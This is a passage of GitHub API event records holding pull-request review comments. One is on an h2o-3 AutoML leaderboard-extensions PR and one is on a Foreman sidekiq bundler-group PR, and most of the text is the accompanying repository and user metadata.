are \"extensions\"... and we distinguish between them... then we are fine. Thanks for clarifying!","created_at":"2019-12-10T17:38:57Z","updated_at":"2019-12-10T17:38:57Z","html_url":"https://github.com/h2oai/h2o-3/pull/4124#discussion_r356180640","pull_request_url":"https://api.github.com/repos/h2oai/h2o-3/pulls/4124","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/h2oai/h2o-3/pulls/comments/356180640"},"html":{"href":"https://github.com/h2oai/h2o-3/pull/4124#discussion_r356180640"},"pull_request":{"href":"https://api.github.com/repos/h2oai/h2o-3/pulls/4124"}},"in_reply_to_id":356143282},"pull_request":{"url":"https://api.github.com/repos/h2oai/h2o-3/pulls/4124","id":349622534,"node_id":"MDExOlB1bGxSZXF1ZXN0MzQ5NjIyNTM0","html_url":"https://github.com/h2oai/h2o-3/pull/4124","diff_url":"https://github.com/h2oai/h2o-3/pull/4124.diff","patch_url":"https://github.com/h2oai/h2o-3/pull/4124.patch","issue_url":"https://api.github.com/repos/h2oai/h2o-3/issues/4124","number":4124,"state":"open","locked":false,"title":"PUBDEV-7074: AutoML leaderboard extensions","user":{"login":"seb-h2o","id":39914943,"node_id":"MDQ6VXNlcjM5OTE0OTQz","avatar_url":"https://avatars3.githubusercontent.com/u/39914943?v=4","gravatar_id":"","url":"https://api.github.com/users/seb-h2o","html_url":"https://github.com/seb-h2o","followers_url":"https://api.github.com/users/seb-h2o/followers","following_url":"https://api.github.com/users/seb-h2o/following{/other_user}","gists_url":"https://api.github.com/users/seb-h2o/gists{/gist_id}","starred_url":"https://api.github.com/users/seb-h2o/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seb-h2o/subscriptions","organizations_url":"https://api.github.com/users/seb-h2o/orgs","repos_url":"https://api.github.com/users/seb-h2o/repos","events_url":"https://api.github.com/users/seb-h2o/events{/privacy}","received_events_url":"https://api.github.com/users/seb-h2o/received_events","type":"User","site_admin":false},"body":"https://0xdata.atlassian.net/browse/PUBDEV-7074\r\n\r\nThis PR provides abstractions and a mechanism to extend the leaderboard on-demand.\r\nThe values for the extensions are lazy-loaded to avoid extra cost when creating the default leaderboard showing only metric scores.\r\n\r\nThe first extensions provided aim at model complexity assessment :\r\n- `training_time_millis`\r\n- `predict_time_per_row_millis` (as the value is a double usually < 0, we may want to consider exposing `predict_time_per_row_nanos` instead, although having the same unit for both columns is nice too...)\r\n- `model_size_bytes` (logic not implemented yet, and won't be in this PR)\r\n\r\n\r\nThe PR also includes the following refactoring:\r\n- moved all leaderboard components to `ai.h2o.automl.leaderboard` package.\r\n- moved all eventLog components to `ai.h2o.automl.events` package for symmetry.\r\nThose were not imported in Sparkling Water, so this doesn't break backward compatibility there.\r\n\r\n\r\nStatus:\r\n- backend done.\r\n- REST API done.\r\n- Py+R integration done.\r\n- TODO: Java tests.\r\n- WONT DO HERE: Flow support...","created_at":"2019-12-05T20:07:48Z","updated_at":"2019-12-10T17:38:57Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d1c6eb5299102bbbced8d6abce8fe65be0fbd5af","assignee":null,"assignees":[],"requested_reviewers":[{"login":"ledell","id":4073698,"node_id":"MDQ6VXNlcjQwNzM2OTg=","avatar_url":"https://avatars0.githubusercontent.com/u/4073698?v=4","gravatar_id":"","url":"https://api.github.com/users/ledell","html_url":"https://github.com/ledell","followers_url":"https://api.github.com/users/ledell/followers","following_url":"https://api.github.com/users/ledell/following{/other_user}","gists_url":"https://api.github.com/users/ledell/gists{/gist_id}","starred_url":"https://api.github.com/users/ledell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ledell/subscriptions","organizations_url":"https://api.github.com/users/ledell/orgs","repos_url":"https://api.github.com/users/ledell/repos","events_url":"https://api.github.com/users/ledell/events{/privacy}","received_events_url":"https://api.github.com/users/ledell/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":433749754,"node_id":"MDU6TGFiZWw0MzM3NDk3NTQ=","url":"https://api.github.com/repos/h2oai/h2o-3/labels/please%20review","name":"please review","color":"c92f7b","default":false,"description":null}],"milestone":null,"commits_url":"https://api.github.com/repos/h2oai/h2o-3/pulls/4124/commits","review_comments_url":"https://api.github.com/repos/h2oai/h2o-3/pulls/4124/comments","review_comment_url":"https://api.github.com/repos/h2oai/h2o-3/pulls/comments{/number}","comments_url":"https://api.github.com/repos/h2oai/h2o-3/issues/4124/comments","statuses_url":"https://api.github.com/repos/h2oai/h2o-3/statuses/304e16e128bad75e7cb17f6ef9c3a21297e3ad0c","head":{"label":"h2oai:seb_pubdev-7074","ref":"seb_pubdev-7074","sha":"304e16e128bad75e7cb17f6ef9c3a21297e3ad0c","user":{"login":"h2oai","id":1402695,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0MDI2OTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1402695?v=4","gravatar_id":"","url":"https://api.github.com/users/h2oai","html_url":"https://github.com/h2oai","followers_url":"https://api.github.com/users/h2oai/followers","following_url":"https://api.github.com/users/h2oai/following{/other_user}","gists_url":"https://api.github.com/users/h2oai/gists{/gist_id}","starred_url":"https://api.github.com/users/h2oai/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h2oai/subscriptions","organizations_url":"https://api.github.com/users/h2oai/orgs","repos_url":"https://api.github.com/users/h2oai/repos","events_url":"https://api.github.com/users/h2oai/events{/privacy}","received_events_url":"https://api.github.com/users/h2oai/received_events","type":"Organization","site_admin":false},"repo":{"id":17371412,"node_id":"MDEwOlJlcG9zaXRvcnkxNzM3MTQxMg==","name":"h2o-3","full_name":"h2oai/h2o-3","private":false,"owner":{"login":"h2oai","id":1402695,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0MDI2OTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1402695?v=4","gravatar_id":"","url":"https://api.github.com/users/h2oai","html_url":"https://github.com/h2oai","followers_url":"https://api.github.com/users/h2oai/followers","following_url":"https://api.github.com/users/h2oai/following{/other_user}","gists_url":"https://api.github.com/users/h2oai/gists{/gist_id}","starred_url":"https://api.github.com/users/h2oai/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h2oai/subscriptions","organizations_url":"https://api.github.com/users/h2oai/orgs","repos_url":"https://api.github.com/users/h2oai/repos","events_url":"https://api.github.com/users/h2oai/events{/privacy}","received_events_url":"https://api.github.com/users/h2oai/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/h2oai/h2o-3","description":"Open Source Fast Scalable Machine Learning Platform For Smarter Applications: Deep Learning, Gradient Boosting & XGBoost, Random Forest, Generalized Linear Modeling (Logistic Regression, Elastic Net), K-Means, PCA, Stacked Ensembles, Automatic Machine Learning (AutoML), etc.","fork":false,"url":"https://api.github.com/repos/h2oai/h2o-3","forks_url":"https://api.github.com/repos/h2oai/h2o-3/forks","keys_url":"https://api.github.com/repos/h2oai/h2o-3/keys{/key_id}","collaborators_url":"https://api.github.com/repos/h2oai/h2o-3/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/h2oai/h2o-3/teams","hooks_url":"https://api.github.com/repos/h2oai/h2o-3/hooks","issue_events_url":"https://api.github.com/repos/h2oai/h2o-3/issues/events{/number}","events_url":"https://api.github.com/repos/h2oai/h2o-3/events","assignees_url":"https://api.github.com/repos/h2oai/h2o-3/assignees{/user}","branches_url":"https://api.github.com/repos/h2oai/h2o-3/branches{/branch}","tags_url":"https://api.github.com/repos/h2oai/h2o-3/tags","blobs_url":"https://api.github.com/repos/h2oai/h2o-3/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/h2oai/h2o-3/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/h2oai/h2o-3/git/refs{/sha}","trees_url":"https://api.github.com/repos/h2oai/h2o-3/git/trees{/sha}","statuses_url":"https://api.github.com/repos/h2oai/h2o-3/statuses/{sha}","languages_url":"https://api.github.com/repos/h2oai/h2o-3/languages","stargazers_url":"https://api.github.com/repos/h2oai/h2o-3/stargazers","contributors_url":"https://api.github.com/repos/h2oai/h2o-3/contributors","subscribers_url":"https://api.github.com/repos/h2oai/h2o-3/subscribers","subscription_url":"https://api.github.com/repos/h2oai/h2o-3/subscription","commits_url":"https://api.github.com/repos/h2oai/h2o-3/commits{/sha}","git_commits_url":"https://api.github.com/repos/h2oai/h2o-3/git/commits{/sha}","comments_url":"https://api.github.com/repos/h2oai/h2o-3/comments{/number}","issue_comment_url":"https://api.github.com/repos/h2oai/h2o-3/issues/comments{/number}","contents_url":"https://api.github.com/repos/h2oai/h2o-3/contents/{+path}","compare_url":"https://api.github.com/repos/h2oai/h2o-3/compare/{base}...{head}","merges_url":"https://api.github.com/repos/h2oai/h2o-3/merges","archive_url":"https://api.github.com/repos/h2oai/h2o-3/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/h2oai/h2o-3/downloads","issues_url":"https://api.github.com/repos/h2oai/h2o-3/issues{/number}","pulls_url":"https://api.github.com/repos/h2oai/h2o-3/pulls{/number}","milestones_url":"https://api.github.com/repos/h2oai/h2o-3/milestones{/number}","notifications_url":"https://api.github.com/repos/h2oai/h2o-3/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/h2oai/h2o-3/labels{/name}","releases_url":"https://api.github.com/repos/h2oai/h2o-3/releases{/id}","deployments_url":"https://api.github.com/repos/h2oai/h2o-3/deployments","created_at":"2014-03-03T16:08:07Z","updated_at":"2019-12-10T05:32:35Z","pushed_at":"2019-12-10T17:38:19Z","git_url":"git://github.com/h2oai/h2o-3.git","ssh_url":"git@github.com:h2oai/h2o-3.git","clone_url":"https://github.com/h2oai/h2o-3.git","svn_url":"https://github.com/h2oai/h2o-3","homepage":"http://h2o.ai","size":453088,"stargazers_count":4501,"watchers_count":4501,"language":"Java","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1640,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":102,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":1640,"open_issues":102,"watchers":4501,"default_branch":"master"}},"base":{"label":"h2oai:master","ref":"master","sha":"e43e039e958077a0cd721bfa79de104ed73edfb5","user":{"login":"h2oai","id":1402695,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0MDI2OTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1402695?v=4","gravatar_id":"","url":"https://api.github.com/users/h2oai","html_url":"https://github.com/h2oai","followers_url":"https://api.github.com/users/h2oai/followers","following_url":"https://api.github.com/users/h2oai/following{/other_user}","gists_url":"https://api.github.com/users/h2oai/gists{/gist_id}","starred_url":"https://api.github.com/users/h2oai/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h2oai/subscriptions","organizations_url":"https://api.github.com/users/h2oai/orgs","repos_url":"https://api.github.com/users/h2oai/repos","events_url":"https://api.github.com/users/h2oai/events{/privacy}","received_events_url":"https://api.github.com/users/h2oai/received_events","type":"Organization","site_admin":false},"repo":{"id":17371412,"node_id":"MDEwOlJlcG9zaXRvcnkxNzM3MTQxMg==","name":"h2o-3","full_name":"h2oai/h2o-3","private":false,"owner":{"login":"h2oai","id":1402695,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0MDI2OTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1402695?v=4","gravatar_id":"","url":"https://api.github.com/users/h2oai","html_url":"https://github.com/h2oai","followers_url":"https://api.github.com/users/h2oai/followers","following_url":"https://api.github.com/users/h2oai/following{/other_user}","gists_url":"https://api.github.com/users/h2oai/gists{/gist_id}","starred_url":"https://api.github.com/users/h2oai/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h2oai/subscriptions","organizations_url":"https://api.github.com/users/h2oai/orgs","repos_url":"https://api.github.com/users/h2oai/repos","events_url":"https://api.github.com/users/h2oai/events{/privacy}","received_events_url":"https://api.github.com/users/h2oai/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/h2oai/h2o-3","description":"Open Source Fast Scalable Machine Learning Platform For Smarter Applications: Deep Learning, Gradient Boosting & XGBoost, Random Forest, Generalized Linear Modeling (Logistic Regression, Elastic Net), K-Means, PCA, Stacked Ensembles, Automatic Machine Learning (AutoML), etc.","fork":false,"url":"https://api.github.com/repos/h2oai/h2o-3","forks_url":"https://api.github.com/repos/h2oai/h2o-3/forks","keys_url":"https://api.github.com/repos/h2oai/h2o-3/keys{/key_id}","collaborators_url":"https://api.github.com/repos/h2oai/h2o-3/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/h2oai/h2o-3/teams","hooks_url":"https://api.github.com/repos/h2oai/h2o-3/hooks","issue_events_url":"https://api.github.com/repos/h2oai/h2o-3/issues/events{/number}","events_url":"https://api.github.com/repos/h2oai/h2o-3/events","assignees_url":"https://api.github.com/repos/h2oai/h2o-3/assignees{/user}","branches_url":"https://api.github.com/repos/h2oai/h2o-3/branches{/branch}","tags_url":"https://api.github.com/repos/h2oai/h2o-3/tags","blobs_url":"https://api.github.com/repos/h2oai/h2o-3/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/h2oai/h2o-3/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/h2oai/h2o-3/git/refs{/sha}","trees_url":"https://api.github.com/repos/h2oai/h2o-3/git/trees{/sha}","statuses_url":"https://api.github.com/repos/h2oai/h2o-3/statuses/{sha}","languages_url":"https://api.github.com/repos/h2oai/h2o-3/languages","stargazers_url":"https://api.github.com/repos/h2oai/h2o-3/stargazers","contributors_url":"https://api.github.com/repos/h2oai/h2o-3/contributors","subscribers_url":"https://api.github.com/repos/h2oai/h2o-3/subscribers","subscription_url":"https://api.github.com/repos/h2oai/h2o-3/subscription","commits_url":"https://api.github.com/repos/h2oai/h2o-3/commits{/sha}","git_commits_url":"https://api.github.com/repos/h2oai/h2o-3/git/commits{/sha}","comments_url":"https://api.github.com/repos/h2oai/h2o-3/comments{/number}","issue_comment_url":"https://api.github.com/repos/h2oai/h2o-3/issues/comments{/number}","contents_url":"https://api.github.com/repos/h2oai/h2o-3/contents/{+path}","compare_url":"https://api.github.com/repos/h2oai/h2o-3/compare/{base}...{head}","merges_url":"https://api.github.com/repos/h2oai/h2o-3/merges","archive_url":"https://api.github.com/repos/h2oai/h2o-3/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/h2oai/h2o-3/downloads","issues_url":"https://api.github.com/repos/h2oai/h2o-3/issues{/number}","pulls_url":"https://api.github.com/repos/h2oai/h2o-3/pulls{/number}","milestones_url":"https://api.github.com/repos/h2oai/h2o-3/milestones{/number}","notifications_url":"https://api.github.com/repos/h2oai/h2o-3/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/h2oai/h2o-3/labels{/name}","releases_url":"https://api.github.com/repos/h2oai/h2o-3/releases{/id}","deployments_url":"https://api.github.com/repos/h2oai/h2o-3/deployments","created_at":"2014-03-03T16:08:07Z","updated_at":"2019-12-10T05:32:35Z","pushed_at":"2019-12-10T17:38:19Z","git_url":"git://github.com/h2oai/h2o-3.git","ssh_url":"git@github.com:h2oai/h2o-3.git","clone_url":"https://github.com/h2oai/h2o-3.git","svn_url":"https://github.com/h2oai/h2o-3","homepage":"http://h2o.ai","size":453088,"stargazers_count":4501,"watchers_count":4501,"language":"Java","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1640,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":102,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":1640,"open_issues":102,"watchers":4501,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/h2oai/h2o-3/pulls/4124"},"html":{"href":"https://github.com/h2oai/h2o-3/pull/4124"},"issue":{"href":"https://api.github.com/repos/h2oai/h2o-3/issues/4124"},"comments":{"href":"https://api.github.com/repos/h2oai/h2o-3/issues/4124/comments"},"review_comments":{"href":"https://api.github.com/repos/h2oai/h2o-3/pulls/4124/comments"},"review_comment":{"href":"https://api.github.com/repos/h2oai/h2o-3/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/h2oai/h2o-3/pulls/4124/commits"},"statuses":{"href":"https://api.github.com/repos/h2oai/h2o-3/statuses/304e16e128bad75e7cb17f6ef9c3a21297e3ad0c"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 17371412,
"name": "h2oai/h2o-3",
"url": "https://api.github.com/repos/h2oai/h2o-3"
}
|
{
"id": 1162131,
"login": "deil87",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1162131?",
"url": "https://api.github.com/users/deil87"
}
|
{
"id": 1402695,
"login": "h2oai",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1402695?",
"url": "https://api.github.com/orgs/h2oai"
}
| 2019-12-10T17:38:57 |
11056818915
|
{"actor":{"display_login":"deil87"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/theforeman/foreman/pulls/comments/336365004","pull_request_review_id":303723693,"id":336365004,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzNjM2NTAwNA==","diff_hunk":"@@ -0,0 +1,4 @@\n+group :sidekiq do","path":"bundler.d/sidekiq.rb","position":1,"original_position":1,"commit_id":"b0b4cf793db441c1648b1dcb5d79505e811927d8","original_commit_id":"b0b4cf793db441c1648b1dcb5d79505e811927d8","user":{"login":"adamruzicka","id":7326770,"node_id":"MDQ6VXNlcjczMjY3NzA=","avatar_url":"https://avatars0.githubusercontent.com/u/7326770?v=4","gravatar_id":"","url":"https://api.github.com/users/adamruzicka","html_url":"https://github.com/adamruzicka","followers_url":"https://api.github.com/users/adamruzicka/followers","following_url":"https://api.github.com/users/adamruzicka/following{/other_user}","gists_url":"https://api.github.com/users/adamruzicka/gists{/gist_id}","starred_url":"https://api.github.com/users/adamruzicka/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/adamruzicka/subscriptions","organizations_url":"https://api.github.com/users/adamruzicka/orgs","repos_url":"https://api.github.com/users/adamruzicka/repos","events_url":"https://api.github.com/users/adamruzicka/events{/privacy}","received_events_url":"https://api.github.com/users/adamruzicka/received_events","type":"User","site_admin":false},"body":"I guess you might say you may want to have Foreman without sidekiq and that is fine and in that case `bundle install --without sidekiq` makes sense. If the group's name dynflow, running `bundle install --without dynflow` would give you foreman with dynflow but without sidekiq, which would be confusing.","created_at":"2019-10-18T08:04:32Z","updated_at":"2019-10-18T08:04:33Z","html_url":"https://github.com/theforeman/foreman/pull/7109#discussion_r336365004","pull_request_url":"https://api.github.com/repos/theforeman/foreman/pulls/7109","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/theforeman/foreman/pulls/comments/336365004"},"html":{"href":"https://github.com/theforeman/foreman/pull/7109#discussion_r336365004"},"pull_request":{"href":"https://api.github.com/repos/theforeman/foreman/pulls/7109"}},"in_reply_to_id":336283542},"pull_request":{"url":"https://api.github.com/repos/theforeman/foreman/pulls/7109","id":328448156,"node_id":"MDExOlB1bGxSZXF1ZXN0MzI4NDQ4MTU2","html_url":"https://github.com/theforeman/foreman/pull/7109","diff_url":"https://github.com/theforeman/foreman/pull/7109.diff","patch_url":"https://github.com/theforeman/foreman/pull/7109.patch","issue_url":"https://api.github.com/repos/theforeman/foreman/issues/7109","number":7109,"state":"open","locked":false,"title":"Fixes #28064 - initial script for sidekiq","user":{"login":"ezr-ondrej","id":2884324,"node_id":"MDQ6VXNlcjI4ODQzMjQ=","avatar_url":"https://avatars2.githubusercontent.com/u/2884324?v=4","gravatar_id":"","url":"https://api.github.com/users/ezr-ondrej","html_url":"https://github.com/ezr-ondrej","followers_url":"https://api.github.com/users/ezr-ondrej/followers","following_url":"https://api.github.com/users/ezr-ondrej/following{/other_user}","gists_url":"https://api.github.com/users/ezr-ondrej/gists{/gist_id}","starred_url":"https://api.github.com/users/ezr-ondrej/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ezr-ondrej/subscriptions","organizations_url":"https://api.github.com/users/ezr-ondrej/orgs","repos_url":"https://api.github.com/users/ezr-ondrej/repos","events_url":"https://api.github.com/users/ezr-ondrej/events{/privacy}","received_events_url":"https://api.github.com/users/ezr-ondrej/received_events","type":"User","site_admin":false},"body":"Adds init script for dynflow on sidekiq.\r\nPackaging: theforeman/foreman-packaging#4188","created_at":"2019-10-15T20:20:55Z","updated_at":"2019-10-18T08:04:33Z","closed_at":null,"merged_at":null,"merge_commit_sha":"70f19bb61ca7ef64d9fd18aa1e4b13bfb677c26d","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":79040689,"node_id":"MDU6TGFiZWw3OTA0MDY4OQ==","url":"https://api.github.com/repos/theforeman/foreman/labels/Needs%20testing","name":"Needs testing","color":"fbca04","default":false},{"id":79040085,"node_id":"MDU6TGFiZWw3OTA0MDA4NQ==","url":"https://api.github.com/repos/theforeman/foreman/labels/Not%20yet%20reviewed","name":"Not yet reviewed","color":"0e8a16","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/theforeman/foreman/pulls/7109/commits","review_comments_url":"https://api.github.com/repos/theforeman/foreman/pulls/7109/comments","review_comment_url":"https://api.github.com/repos/theforeman/foreman/pulls/comments{/number}","comments_url":"https://api.github.com/repos/theforeman/foreman/issues/7109/comments","statuses_url":"https://api.github.com/repos/theforeman/foreman/statuses/b0b4cf793db441c1648b1dcb5d79505e811927d8","head":{"label":"ezr-ondrej:dynflow_sidekiq_init","ref":"dynflow_sidekiq_init","sha":"b0b4cf793db441c1648b1dcb5d79505e811927d8","user":{"login":"ezr-ondrej","id":2884324,"node_id":"MDQ6VXNlcjI4ODQzMjQ=","avatar_url":"https://avatars2.githubusercontent.com/u/2884324?v=4","gravatar_id":"","url":"https://api.github.com/users/ezr-ondrej","html_url":"https://github.com/ezr-ondrej","followers_url":"https://api.github.com/users/ezr-ondrej/followers","following_url":"https://api.github.com/users/ezr-ondrej/following{/other_user}","gists_url":"https://api.github.com/users/ezr-ondrej/gists{/gist_id}","starred_url":"https://api.github.com/users/ezr-ondrej/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ezr-ondrej/subscriptions","organizations_url":"https://api.github.com/users/ezr-ondrej/orgs","repos_url":"https://api.github.com/users/ezr-ondrej/repos","events_url":"https://api.github.com/users/ezr-ondrej/events{/privacy}","received_events_url":"https://api.github.com/users/ezr-ondrej/received_events","type":"User","site_admin":false},"repo":{"id":163943551,"node_id":"MDEwOlJlcG9zaXRvcnkxNjM5NDM1NTE=","name":"foreman","full_name":"ezr-ondrej/foreman","private":false,"owner":{"login":"ezr-ondrej","id":2884324,"node_id":"MDQ6VXNlcjI4ODQzMjQ=","avatar_url":"https://avatars2.githubusercontent.com/u/2884324?v=4","gravatar_id":"","url":"https://api.github.com/users/ezr-ondrej","html_url":"https://github.com/ezr-ondrej","followers_url":"https://api.github.com/users/ezr-ondrej/followers","following_url":"https://api.github.com/users/ezr-ondrej/following{/other_user}","gists_url":"https://api.github.com/users/ezr-ondrej/gists{/gist_id}","starred_url":"https://api.github.com/users/ezr-ondrej/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ezr-ondrej/subscriptions","organizations_url":"https://api.github.com/users/ezr-ondrej/orgs","repos_url":"https://api.github.com/users/ezr-ondrej/repos","events_url":"https://api.github.com/users/ezr-ondrej/events{/privacy}","received_events_url":"https://api.github.com/users/ezr-ondrej/received_events","type":"User","site_admin":false},"html_url":"https://github.com/ezr-ondrej/foreman","description":"an application that automates the lifecycle of servers ","fork":true,"url":"https://api.github.com/repos/ezr-ondrej/foreman","forks_url":"https://api.github.com/repos/ezr-ondrej/foreman/forks","keys_url":"https://api.github.com/repos/ezr-ondrej/foreman/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ezr-ondrej/foreman/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ezr-ondrej/foreman/teams","hooks_url":"https://api.github.com/repos/ezr-ondrej/foreman/hooks","issue_events_url":"https://api.github.com/repos/ezr-ondrej/foreman/issues/events{/number}","events_url":"https://api.github.com/repos/ezr-ondrej/foreman/events","assignees_url":"https://api.github.com/repos/ezr-ondrej/foreman/assignees{/user}","branches_url":"https://api.github.com/repos/ezr-ondrej/foreman/branches{/branch}","tags_url":"https://api.github.com/repos/ezr-ondrej/foreman/tags","blobs_url":"https://api.github.com/repos/ezr-ondrej/foreman/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ezr-ondrej/foreman/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ezr-ondrej/foreman/git/refs{/sha}","trees_url":"https://api.github.com/repos/ezr-ondrej/foreman/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ezr-ondrej/foreman/statuses/{sha}","languages_url":"https://api.github.com/repos/ezr-ondrej/foreman/languages","stargazers_url":"https://api.github.com/repos/ezr-ondrej/foreman/stargazers","contributors_url":"https://api.github.com/repos/ezr-ondrej/foreman/contributors","subscribers_url":"https://api.github.com/repos/ezr-ondrej/foreman/subscribers","subscription_url":"https://api.github.com/repos/ezr-ondrej/foreman/subscription","commits_url":"https://api.github.com/repos/ezr-ondrej/foreman/commits{/sha}","git_commits_url":"https://api.github.com/repos/ezr-ondrej/foreman/git/commits{/sha}","comments_url":"https://api.github.com/repos/ezr-ondrej/foreman/comments{/number}","issue_comment_url":"https://api.github.com/repos/ezr-ondrej/foreman/issues/comments{/number}","contents_url":"https://api.github.com/repos/ezr-ondrej/foreman/contents/{+path}","compare_url":"https://api.github.com/repos/ezr-ondrej/foreman/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ezr-ondrej/foreman/merges","archive_url":"https://api.github.com/repos/ezr-ondrej/foreman/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ezr-ondrej/foreman/downloads","issues_url":"https://api.github.com/repos/ezr-ondrej/foreman/issues{/number}","pulls_url":"https://api.github.com/repos/ezr-ondrej/foreman/pulls{/number}","milestones_url":"https://api.github.com/repos/ezr-ondrej/foreman/milestones{/number}","notifications_url":"https://api.github.com/repos/ezr-ondrej/foreman/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ezr-ondrej/foreman/labels{/name}","releases_url":"https://api.github.com/repos/ezr-ondrej/foreman/releases{/id}","deployments_url":"https://api.github.com/repos/ezr-ondrej/foreman/deployments","created_at":"2019-01-03T08:19:43Z","updated_at":"2019-09-11T11:13:50Z","pushed_at":"2019-10-16T15:33:27Z","git_url":"git://github.com/ezr-ondrej/foreman.git","ssh_url":"git@github.com:ezr-ondrej/foreman.git","clone_url":"https://github.com/ezr-ondrej/foreman.git","svn_url":"https://github.com/ezr-ondrej/foreman","homepage":"http://theforeman.org","size":97187,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":false,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":0,"open_issues":1,"watchers":0,"default_branch":"develop"}},"base":{"label":"theforeman:develop","ref":"develop","sha":"be01fb8f64dbf714408700de76ba32cc45e82155","user":{"login":"theforeman","id":1439844,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0Mzk4NDQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1439844?v=4","gravatar_id":"","url":"https://api.github.com/users/theforeman","html_url":"https://github.com/theforeman","followers_url":"https://api.github.com/users/theforeman/followers","following_url":"https://api.github.com/users/theforeman/following{/other_user}","gists_url":"https://api.github.com/users/theforeman/gists{/gist_id}","starred_url":"https://api.github.com/users/theforeman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/theforeman/subscriptions","organizations_url":"https://api.github.com/users/theforeman/orgs","repos_url":"https://api.github.com/users/theforeman/repos","events_url":"https://api.github.com/users/theforeman/events{/privacy}","received_events_url":"https://api.github.com/users/theforeman/received_events","type":"Organization","site_admin":false},"repo":{"id":258750,"node_id":"MDEwOlJlcG9zaXRvcnkyNTg3NTA=","name":"foreman","full_name":"theforeman/foreman","private":false,"owner":{"login":"theforeman","id":1439844,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0Mzk4NDQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1439844?v=4","gravatar_id":"","url":"https://api.github.com/users/theforeman","html_url":"https://github.com/theforeman","followers_url":"https://api.github.com/users/theforeman/followers","following_url":"https://api.github.com/users/theforeman/following{/other_user}","gists_url":"https://api.github.com/users/theforeman/gists{/gist_id}","starred_url":"https://api.github.com/users/theforeman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/theforeman/subscriptions","organizations_url":"https://api.github.com/users/theforeman/orgs","repos_url":"https://api.github.com/users/theforeman/repos","events_url":"https://api.github.com/users/theforeman/events{/privacy}","received_events_url":"https://api.github.com/users/theforeman/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/theforeman/foreman","description":"an application that automates the lifecycle of servers 